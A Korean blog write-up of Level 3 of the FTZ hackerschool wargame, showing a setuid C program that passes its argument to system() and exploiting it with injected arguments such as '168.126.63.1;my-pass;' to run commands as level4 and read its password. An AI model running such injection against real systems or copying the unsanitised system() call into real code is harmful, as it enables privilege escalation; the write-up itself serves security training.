본문으로 바로가기

Level3 문제 해결

category Security/리버싱 2017. 11. 28. 22:06

ftz.hackershool.org의 이미지를 사용하여 실습했습니다. 


-Level3

level3 / can you fly?


[level3@ftz level3]$ ls -l

 

 합계 12

-rw-r--r--    1 root     root          543 11월 26  2000 hint

drwxr-xr-x    2 root     level3       4096  2월 24  2002 public_html

drwxrwxr-x    2 root     level3       4096  1월 15  2009 tmp

 



[level3@ftz level3]$ cat hint

 


다음 코드는 autodig의 소스이다.


#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>


int main(int argc, char **argv){


    char cmd[100];


    if( argc!=2 ){

        printf( "Auto Digger Version 0.9\n" );

        printf( "Usage : %s host\n", argv[0] );

        exit(0);

    }


    strcpy( cmd, "dig @" );

    strcat( cmd, argv[1] );

    strcat( cmd, " version.bind chaos txt");


    system( cmd );


}


이를 이용하여 level4의 권한을 얻어라.


more hints.

- 동시에 여러 명령어를 사용하려면?

- 문자열 형태로 명령어를 전달하려면?


 

 

> 2개의 매개변수를 받아야 하고  

> system으로 실행되는 cmd는 dig @(arv[1]) version.bind chaos txt  이다. 

> argv[1] 에 입력할 수 있는 것이 정해 져 있지 않기에 원하는 명령어를 추가하여 실행 할 수 있다. 


level3@ftz level3]$ find / -name autodig 2>/dev/null

 

 /bin/autodig

 


[level3@ftz level3]$ ls -l /bin/autodig

 

-rwsr-x---    1 level4   level3      12194  8월 19  2014 /bin/autodig

 

> autodig을 찾아서 확인해보니 level4 권한을 가지는 setuid 로 설정되어있다. 소스코드는 hint 파일에서 확인을 했다.


[참고] dig 명령어

nslookup, hosts 명령어와 같은 기능을 가진다.  ( nslookup이 거의 모든 운영체제에서 사용 가능 하기에 주로 사용해 왔다. )


사용 예

# dig @168.126.63.1 kornet.net ANY 

# dig @168.126.63.1 example.com ANY 

# dig @168.126.63.1 google.com ANY 


# dig @168.126.63.1 kornet.net MX             /* kornet.net.    MX  10   mail.kornet.net */

# nslookup -q=MX kornet.net

# dig @168.126.63.1 kornet.net NS             /* kornet.net.    NS       ns.kornet.net   */  

# nslookup -q=NS kornet.net

# dig @168.126.63.1 www.kornet.net A          /* www.kornet.net A        211.216.50.150  */

# nslookup -q=A www.kornet.net

# dig @168.126.63.1 211.216.50.150 PTR        /* 150            PTR      ns.kornet.net   */

# nslookup -q=PTR 211.216.50.150


# dig @168.126.63.1 version.bind chaos txt    /* version.bind   txt      "hello"         */


[level3@ftz level3]$ dig @168.126.63.1 version.bind chaos txt

 

; <<>> DiG 9.2.1 <<>> @168.126.63.1 version.bind chaos txt

;; global options:  printcmd

;; Got answer:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 22848

;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0


;; QUESTION SECTION:

;version.bind.                  CH      TXT


;; ANSWER SECTION:

version.bind.           0       CH      TXT     "Unknown"


;; AUTHORITY SECTION:

version.bind.           0       CH      NS      version.bind.


;; Query time: 32 msec

;; SERVER: 168.126.63.1#53(168.126.63.1)

;; WHEN: Tue Nov 28 21:53:45 2017

;; MSG SIZE  rcvd: 64


 

 

> dig 명령어 확인 


[level3@ftz level3]$ /bin/autodig 168.126.63.1

 

; <<>> DiG 9.2.1 <<>> @168.126.63.1 version.bind chaos txt

;; global options:  printcmd

;; Got answer:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 44102

;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0


;; QUESTION SECTION:

;version.bind.                  CH      TXT


;; ANSWER SECTION:

version.bind.           0       CH      TXT     "Unknown"


;; AUTHORITY SECTION:

version.bind.           0       CH      NS      version.bind.


;; Query time: 36 msec

;; SERVER: 168.126.63.1#53(168.126.63.1)

;; WHEN: Tue Nov 28 21:56:59 2017

;; MSG SIZE  rcvd: 64

 

 

> 같다 


[level3@ftz level3]$ dig "@168.126.63.1;id;"

 

 dig: Couldn't find server '168.126.63.1;id;': Name or service not known

 

> 실행이 안된다. ( 정상 ) 


[level3@ftz level3]$ /bin/autodig "168.126.63.1;id;"

 


; <<>> DiG 9.2.1 <<>> @168.126.63.1

;; global options:  printcmd

;; Got answer:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 42882

;; flags: qr rd ra; QUERY: 1, ANSWER: 13, AUTHORITY: 0, ADDITIONAL: 15


;; QUESTION SECTION:

;.                              IN      NS


;; ANSWER SECTION:

.                       385376  IN      NS      c.root-servers.net.

.                       385376  IN      NS      m.root-servers.net.

.                       385376  IN      NS      g.root-servers.net.

.                       385376  IN      NS      k.root-servers.net.

.                       385376  IN      NS      e.root-servers.net.

.                       385376  IN      NS      j.root-servers.net.

.                       385376  IN      NS      f.root-servers.net.

.                       385376  IN      NS      i.root-servers.net.

.                       385376  IN      NS      a.root-servers.net.

.                       385376  IN      NS      d.root-servers.net.

.                       385376  IN      NS      l.root-servers.net.

.                       385376  IN      NS      h.root-servers.net.

.                       385376  IN      NS      b.root-servers.net.


;; ADDITIONAL SECTION:

a.root-servers.net.     471776  IN      A       198.41.0.4

b.root-servers.net.     471790  IN      A       199.9.14.201

c.root-servers.net.     474440  IN      A       192.33.4.12

d.root-servers.net.     471792  IN      A       199.7.91.13

e.root-servers.net.     473215  IN      A       192.203.230.10

f.root-servers.net.     472063  IN      A       192.5.5.241

g.root-servers.net.     473037  IN      A       192.112.36.4

h.root-servers.net.     604357  IN      A       198.97.190.53

i.root-servers.net.     473248  IN      A       192.36.148.17

j.root-servers.net.     473189  IN      A       192.58.128.30

k.root-servers.net.     473553  IN      A       193.0.14.129

l.root-servers.net.     604356  IN      A       199.7.83.42

m.root-servers.net.     472028  IN      A       202.12.27.33

a.root-servers.net.     474729  IN      AAAA    2001:503:ba3e::2:30

b.root-servers.net.     545431  IN      AAAA    2001:500:200::b


;; Query time: 29 msec

;; SERVER: 168.126.63.1#53(168.126.63.1)

;; WHEN: Tue Nov 28 22:02:08 2017

;; MSG SIZE  rcvd: 492


uid=3004(level4) gid=3003(level3) groups=3003(level3)

sh: line 1: version.bind: command not found

 

> id 명령어가 실행 됬다. 게다가 level4 로

> bash를 입력하든 my-pass를 입력하든 암호를 바로 알아 낼 수 있다. 


[level3@ftz level3]$ /bin/autodig "168.126.63.1;my-pass;"

 


Level4 Password is "suck my brain".

sh: line 1: version.bind: command not found

 

 

> level4 의 암호를 알아 냈다. 




'Security > 리버싱' 카테고리의 다른 글

Level4 문제해결  (0) 2017.11.29
(암기) backdoor 만들기  (0) 2017.11.28
Level2 문제 분석/응용  (0) 2017.11.28
Level2 문제 해결  (0) 2017.11.28
level 1 문제 해결 ( /bin/ExecuteMe 해석 )  (0) 2017.11.27